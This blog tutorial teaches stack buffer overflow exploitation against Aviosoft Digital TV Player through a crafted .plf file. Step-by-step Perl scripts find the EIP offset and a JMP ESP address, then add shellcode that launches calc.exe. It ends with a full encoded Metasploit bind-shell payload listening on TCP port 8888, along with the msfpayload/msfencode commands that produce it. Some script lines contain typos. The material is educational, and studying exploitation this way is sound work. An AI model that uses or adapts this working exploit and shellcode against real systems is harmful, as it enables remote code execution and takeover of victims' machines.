Monday, February 18, 2013

Stack Overflows - Part 2 : Executing The Shellcode


In the part 1 , we talked about lot of basics of stack overflow and some of the theoritical concepts that will help us get into it little deeper . We stopped at the point where we had exception thrown from the debugger . In this part , we will see how to translate this vulnerability into a working exploit and make the vulnerable software execute our own code.

As an example , we will use the stack overflow vulnerability discovered in Aviosoft Digital TV Player Professional 1.x reported here . You can get the copy of vulnerable application and PoC exploit over here. This software has the stack based buffer overflow vulnerability when opening the specially crafted and malicious .plf file which can lead to the arbitrary code execution on the machine running this software if it opens the specially crafted .plf file .

The primary reason I selected this is that it is a very simple exploit which serves as a perfect example for the beginners to understand the process of building the working exploits. We will walk through the process step by step and build the exploit from the scratch .

System setup

To be able to reproduce and trigger this vulnerability , I would recommend using Windows XP SP2 as the victim system . This is precisely because of the fact that this version of the Windows XP does not have some of the stack overflow protection mechanisms that is introduced in SP3 and later . In case if you still wish to use SP3 as your victim system , you must turn off Data Execution Prevention ( DEP ) . Windows XP SP3 has the DEP turned on by default for all the services . If you turn this off , you are good to go ahead ..

Next , I am using Backtrack 5 as my attacking system . I 'll be using perl / python environment to write the exploits and Metasploit to build the shellcode. Both of these are virtual machines bridged to be able to talk to each other . You need not to have the exact similar setup and it should be pretty Ok to use whatever you have as long as you are able to translate this demo to your systems . Along with the vulnerable software installed in the victim system , We also need any one of your favourite debuggers to be installed . It could be either Immunity / Windbg / Ollydbg . I would suggest you install alteast Immunity and ollydbg debuggers in your VM. Immunity debugger has a very powerful plugin interface scriptable in python and several python scripts available already to make our exploit developement lot more easier.

Triggering the vulnerability

First step towards building a working exploit is to verify the vulnerability and make sure that the application is throwing an exception / crashing when it is supplied malicious or specially crafted .plf file. You should be able to find the information about the vulnerable copy of the software from the relevant page on exploit db. I wrote the following simple perl script , which will write the content into the .PLF file









This simple perl script will create the .PLF file with 500 bytes of data. I wrote 500 "A"s ( Hex : 0x41) into the .PLF file .  Next , we open the software in the debugger ,run it and feed this file into the Aviosoft Digital TV player :














And we see the application has crashed throwing the exception and debugger is in control of the program as it catches the exception .











If we take a look the crash in Windbg , it will look like this :











At this point , application throwed the "Access violation" exception which is being caught and reported by the debugger because application couldn't read the memory at location 0x41414141 . It read our .PLF file into the buffer and because it did not check on the number of bytes that it read on the stack , it overwrote the application's stack with the junk data ( several 0x41s in this case ) which has ultimately gone and overwrote the Instruction pointer ( EIP register ) . If you observe the stack pointer , ESP has 0x0012F274 which also points at an offset in our supplied buffer of junk data.

Another point worth noticing over here is that before trying the file with 500 bytes of data , I also tried with 100 and 200 bytes of data but the application did not crash . This effectively means that the application will die if we supply the file which contains somewhere between 200 to 500 bytes of data. This information will eventually help us to figure out the exact offset in our buffer at which the Instruction pointer is overwritten.

We need to be aware that not every application crash is exploitable though . It may be just a denial of service , but in lot of cases it is . Our goal here is to utilize this crash and make the application do something which it is not intended to. We will look to redirect the execution flow of the application to execute the code that we want . To achieve this , primarily information that we need to have is : The exact offset at which the Instruction pointer is overwritten . This is the basic requirement for controlling the execution flow of the program . If we are able to figure this out , we can overwrite the EIP , exactly at that offset , with the usable memory address that contains the instruction which can help us Jump to our code.

In the previous tutorial , we knew the exact size of our buffer and we could easily guess the offset at which the EIP should be overwritten but in this case , we have no information on the size of buffer . Also , the overflowed stack has all "A"s at the moment. It is not going to be easy to figure out the offset ,  until we break the buffer down to multiple pieces to get the better idea .

Determining the buffer size and exact offset to overwrite the Instruction pointer

We will modify the perl script to break the buffer into smaller portion and each portion will contain the different set of bytes and then we'll append them to create larger one :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 250;
my $buffer_2="B" x 150;
my $buffer = $buffer_1 . $buffer_2;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with" . length($buffer) . "bytes of data\n";
close($FILE);

We attach the software to the debugger again and load the .PLF file created with above exploit.










This time , we supplied 400 bytes of data with two different sets of byte patterns and the application still crashed with EIP  overwritten with 0x42424242. Now we are sure that buffer size is somewhere between 250 and 400 bytes . i.e the offset to overwrite the EIP should be between 250 to 400 bytes . We still narrow down the gap with little modification to the script as below :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 250;
my $buffer_2="B" x 50;
my $buffer = $buffer_1 . $buffer_2;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with" . length($buffer) . "bytes of data\n";
close($FILE);

And the result is the crash with EIP : 0x42424242 . We now have much better visibility . Our offset should be within 250 to 300 bytes . Will little more similar experiments , I eventually  figured out that the offset at which the EIP is written is 260 bytes within our buffer. Crash in Windbg will look like this :












ESP contains 0x0012F274 as we noticed before and if we dump the contents of the stack we will see the ESP pointing to the portion of our supplied buffer of Bs ( Hex 0x42 ) :









This was little time consuming since we had to make several guesses to come out with the correct offset . We have another better and a direct way to do this .We can determine the correct offset right at the first shot using the Metasploit  " pattern_create.rb" and " pattern_offset.rb" tools .. pattern_create.rb is supplied with buffer size as an argument and it will generate the unique pattern of strings . We can use that string in our exploit and we'll be able to figure out the exact offset right at the first attempt . On Backtrack 5 , you need to go to the /opt/metasploit/msf3/tools directory and run the pattern_create.rb with the size of the string to output :






We can use this generated pattern in our exploit :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"

open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with" .  length($buffer)  . "bytes of data\n";
close($FILE);

We load the application again in the debugger , launch the exploit and this is what we'll see again.








Instruction pointer now has 0x37694136 . Recall the concept of little endian Vs big endian we discussed in the previous part. The fact is EIP is overwritten with 0x36416937 since the Intel processors stores the data in the memory in little endian format. We now have the unique string with us to search for in the buffer and we can determine the offset with metasploit "pattern_offset.rb " tool . 












By now , we should be able to clearly understand the fact that the exact buffer size we need to overwrite the EIP is 260 . Another thing that we need to figure out is the offset at which the ESP is pointing to our buffer . By doing this , we would exactly know where to place our shellcode on the stack . If we observe the stack in Windbg , that is what we have :












ESP , at this point has 0x0012F274 which is pointing to the part of our buffer . I dumped the stack at this address and the value is 0x6A33416A ..We will again use the metasploit pattern_offset.rb tool to determine the exact offset in our buffer pointed by ESP . Again , remember the fact that the data is stored in the little endian format . so we need to search for 0x6A41336A while using the metasploit tool . I ran patter_offset.rb  and here is the offset I found on my system :











Ah Wow !! ..With all the previous excercise that we did , we now have information about two very critical things :

1 . We know that the buffer size is exactly 260 bytes before EIP is overwritten . This translates to the fact that , at this offset , we can overwrite the return address with something useful. We'll see that in a moment.
2 . Another info we have at this point is :  ESP is pointing at an offset 280 in our buffer. We will use this fact to place our shellcode and finally make the program jump to it to execute that code. We'll see that too in a moment .

Before we go ahead , let's do a final verification on this info . I'll craft the buffer in the following way :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260;  
my $buffer_2="B" x 4;       
my $buffer_3="C' x 16;
my $buffer_4="Our Shellcode is here"; 
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

We are expecting two things out of this exploit :

1 . EIP should have the value 0x42424242 . we crafted the buffer with 260 bytes of "A" and then 4 bytes of "B" with which EIP should be written.
2 . ESP should point to the string "Our Shellcode is here" on the stack . This is where we will place our shellcode to execute .

I launched the exploit in Windbg and here is what I saw:

Wow !!..This is what we exactly wanted..we got the access violation and EIP has the value 0x42424242 and ESP is pointing to our string as we expected. Now think about this  :  At this location , if we place our shellcode ( i.e the code that we want this application to execute ) and if we overwrite the EIP with the address to the instruction that can jump to our shellcode , we are done !! .

Important point to remember here is that when the application crashes , we need to see if EIP written with the supplied buffer..If it is , we can control EIP with the value that we want . Next , we need to see all the registers and check which one them is pointing to the portion of our buffer . In this case it was ESP but it could be EAX , EBX or other register . Once we have both of these , all we need to do is overwrite the EIP with the address of the instruction that can jump to our shellcode and over !! ..However , stack overflows are not always that easy ..There are few things that we need to take care of above this : Bad characters , Null bytes in shellcode , available limited  buffer space to host our shellcode etc. We'll come to these topics and see how to overcome them ..

How much memory space do you have to host your shellcode ?

This is another question that we need to get the answer for. This will help us figuring out how long our shellcode can be . Assume that the code we want the application to execute ,  becomes too large to fit into the limited buffer size , then we may need to reduce its size so that it can fit itself or we need to look some for other alternatives. Let's try and determine how much buffer space we have in this case . This will exactly help us gain the visibility on how large our shellcode can be . I did slight modification in the script :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260;  # buffer space before EIP
my $buffer_2="B" x 4;      # EIP overwritten with this value
my $buffer_3="C' x 16;
my $buffer_4="D" x 600;  # ESP is pointing here
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

When I launched the exploit again , I saw the ESP pointing to string of "D" and stack is filled up with it all the way down. This basically confirms that we have over 600 bytes of buffer space to host our shellcode. We are all good.















Finally...Buiding the Exploit.

Since we see ESP currently with the value 0x0012F274 , directly pointing to our supplied buffer , one of the very first thing that we would like to try is overwriting the EIP with the value of the ESP and trying to redirect the code execution..Let's actually craft the exploit and see what happens . I am modifying the script in the following way :

#!/usr/bin/perl

my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260;  # buffer space before EIP
my $buffer_2="\x74\xf2\x12\x00";      EIP overwritten with this value
my $buffer_3="C' x 16;
my $buffer_4="D" x 600;  # ESP is pointing here
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

Remember that the data is stored in the little endian format ..So we need to write the address other way round ( in reverse order ) to be able to save it on the stack in the correct order.











If you observe the debugger output I got after launching this exploit , we managed to overwrite the EIP with the value that we wanted to ( 0x0012F274 in this case ). ESP is also pointing to the same location and you see that it tried to execute the instruction at that location but generated the exception ..If we dump the ESP , I dont see all the "D"s that I expected and we saw a while back . This is because of the fact that our buffer had a Null byte in the address which acted as a string terminator . .PLF file was read into the memory and since this is a string buffer , it got terminated as soon as it encountered the null byte in the address and the buffer wasn't copied any further which makes the exploit useless.

Above this , overwrite EIP with the direct address of the stack has multiple problems :

-- This address is not static . You may see ESP pointing to the different address on the different OS versions.
-- Jumping to direct memory address is a bad idea because of the fact that when you are exploiting remotely, you dont know where the application stack is allocated and where the ESP is pointing to ..

So this solution will not work for us because of the null byte problem and exploit wont be reliable as well . Alternative way we can redirect to our code is to search for the JMP ESP instruction in the process memory or in the memory of the loaded application modules ( DLLs ). If we overwrite the EIP with the address of the JMP ESP instruction , after it executes that instruction , ESP will be placed into EIP and we can execute our own code . Let's search for the JMP ESP instruction using ollydbg . While searching for this , we need to make sure that the address does not contain any Null ( 0x00) bytes.








Once is application is running in the debugger , we see lot of application specific modules loaded in there..When you are searching for the JMP ESP instruction , it is always preferable to use the DLLs that comes with the application rather than system DLLs ..This is because these DLLs are usually not compiled with ASLR and SafeSEH enabled ..In effect , these will make our exploit lot more reliable .









I searched for this instruction in EqualizerProcess.dll which comes with the software , and found the JMP ESP instruction at address 0x02365005..Address could be different in your system. With all this info , I will build the final exploit that will have the shellcode to launch calc.exe . Here is the final script :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260;  # Junk data
my $buffer_2="\x05\x50\x36\x02";      # EIP overwritten with the address of JMP ESP
my $buffer_3="\x90" x 16;            #NOP padding 
my $buffer_4="\x31\xc0\x50\x68\x63\x61\x6c\x63\x89\xe3\x50\x53\xbb\x85\x25\x86\x7c\xff\xd3\x50\xbb\xfa\xca\x81\x7c\xff\xd3"; # ESP points here . Shellcode to spawn calc.exe
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

When I again launched the exploit :










We've successfully exploited the buffer overflow vulnrerability in Aviosoft Digital TV Player..but what if we want to do something more interesting than just launching calc.exe? Let's use metasploit payload generator and generate the shellcode that can open a port and bind a shell on the victim system..Metasploit payload generator can generate variety of shellcode with different parameters depending on what you'd want to do .On Backtrack 5, go to the /pentest/exploits/framework2/ and fire the following command to look at the list of payloads available for various OS..

#msfpayload -l

We can generate TCP shell bind payload which will bind the shell on port TCP port 8888 on victims' machine . Use following command.

#msfpayload windows/shell_bind_tcp LPORT=8888 P

LPORT is the local port on which it should listen and P is the output in the perl format . Here is the shellcode that you get in the perl format :




















Notice that the shellcode size generated here is 341 bytes which is long if we have the limited buffer space available with us.In this case size of the buffer is not the problem but notice the Null bytes right in the first line of our shellcode ..This is a serious concern. If we place this shellcode in our exploit, it wont work because null byte will act as the string terminator and rest of our buffer will not be copied on the stack . We should avoid atleast \x00 , \x0a, \x0d in our shellcode since these are default bad characters . There could be other bad characters as well which we will have to figure out by comparing our original generated shellcode with the shellcode existing in the memory. For now , to overcome this we will use the raw output and pipe this into the msfencode to remove the bad characters with followng command :

msfpayload windows/shell_bind_tcp LPORT=8888 R | msfencode  -b '\x00\x0a\x0d' -t perl

This will give the output in the Perl format and see that now there are no null bytes but size of the shellcode has increased .






















Metasploit generates different output of the shellcode during each successive runs.So you shouldn't be afraid if you see different shellcode on your machine every time. I compared the shellcode in the memory with that in our exploit and I found one more bad character: \x1a. and with that I fired following command again to generate the shellcode free from this character :

msfpayload windows/shell_bind_tcp LPORT=8888 R | msfencode  -b '\x00\x0a\x0d\x1a' -t perl

and ended up with the working shellcode. Here is our final exploit :


#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $junk="A" x 260;  # Junk data
my $EIP="\x05\x50\x7d\x02";
my $nop="\x90" x 50;   # Make sure you have enough NOPs before the shellcode for the decoder to work correctly while in memory , else the exploit will fail . 

my $shellcode = "\xdb\xd2\xba\x9a\xe7\x37\x15\xd9\x74\x24\xf4\x5b\x33\xc9" .
"\xb1\x56\x31\x53\x18\x83\xeb\xfc\x03\x53\x8e\x05\xc2\xe9" .
"\x46\x40\x2d\x12\x96\x33\xa7\xf7\xa7\x61\xd3\x7c\x95\xb5" .
"\x97\xd1\x15\x3d\xf5\xc1\xae\x33\xd2\xe6\x07\xf9\x04\xc8" .
"\x98\xcf\x88\x86\x5a\x51\x75\xd5\x8e\xb1\x44\x16\xc3\xb0" .
"\x81\x4b\x2b\xe0\x5a\x07\x99\x15\xee\x55\x21\x17\x20\xd2" .
"\x19\x6f\x45\x25\xed\xc5\x44\x76\x5d\x51\x0e\x6e\xd6\x3d" .
"\xaf\x8f\x3b\x5e\x93\xc6\x30\x95\x67\xd9\x90\xe7\x88\xeb" .
"\xdc\xa4\xb6\xc3\xd1\xb5\xff\xe4\x09\xc0\x0b\x17\xb4\xd3" .
"\xcf\x65\x62\x51\xd2\xce\xe1\xc1\x36\xee\x26\x97\xbd\xfc" .
"\x83\xd3\x9a\xe0\x12\x37\x91\x1d\x9f\xb6\x76\x94\xdb\x9c" .
"\x52\xfc\xb8\xbd\xc3\x58\x6f\xc1\x14\x04\xd0\x67\x5e\xa7" .
"\x05\x11\x3d\xa0\xea\x2c\xbe\x30\x64\x26\xcd\x02\x2b\x9c" .
"\x59\x2f\xa4\x3a\x9d\x50\x9f\xfb\x31\xaf\x1f\xfc\x18\x74" .
"\x4b\xac\x32\x5d\xf3\x27\xc3\x62\x26\xe7\x93\xcc\x98\x48" .
"\x44\xad\x48\x21\x8e\x22\xb7\x51\xb1\xe8\xce\x55\x7f\xc8" .
"\x83\x31\x82\xee\x01\x7a\x0b\x08\x2f\x6a\x5a\x82\xc7\x48" .
"\xb9\x1b\x70\xb2\xeb\x37\x29\x24\xa3\x51\xed\x4b\x34\x74" .
"\x5e\xe7\x9c\x1f\x14\xeb\x18\x01\x2b\x26\x09\x48\x14\xa1" .
"\xc3\x24\xd7\x53\xd3\x6c\x8f\xf0\x46\xeb\x4f\x7e\x7b\xa4" .
"\x18\xd7\x4d\xbd\xcc\xc5\xf4\x17\xf2\x17\x60\x5f\xb6\xc3" .
"\x51\x5e\x37\x81\xee\x44\x27\x5f\xee\xc0\x13\x0f\xb9\x9e" .
"\xcd\xe9\x13\x51\xa7\xa3\xc8\x3b\x2f\x35\x23\xfc\x29\x3a" .
"\x6e\x8a\xd5\x8b\xc7\xcb\xea\x24\x80\xdb\x93\x58\x30\x23" .
"\x4e\xd9\x40\x6e\xd2\x48\xc9\x37\x87\xc8\x94\xc7\x72\x0e" .
"\xa1\x4b\x76\xef\x56\x53\xf3\xea\x13\xd3\xe8\x86\x0c\xb6" .
"\x0e\x34\x2c\x93";

my $buffer=$junk . $EIP . $nop . $shellcode;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

Restarted the debugger and launched the exploit again :












And boom !!. Game is over !! ..Here you see the victim machine has opened the TCP port 8888 and is now listening on that port ..









Let's check if we can get the shell on that port as promised by the shellcode. I did a Telnet from another machine to victim on port 8888.

#Telnet 192.168.246.137 8888





This is it..Hope you'd now be able to build your own working exploit ..In the next part , we'll take a look into some of the other aspects of Stack overflows and few debugger plugins which can make your life lot more easier..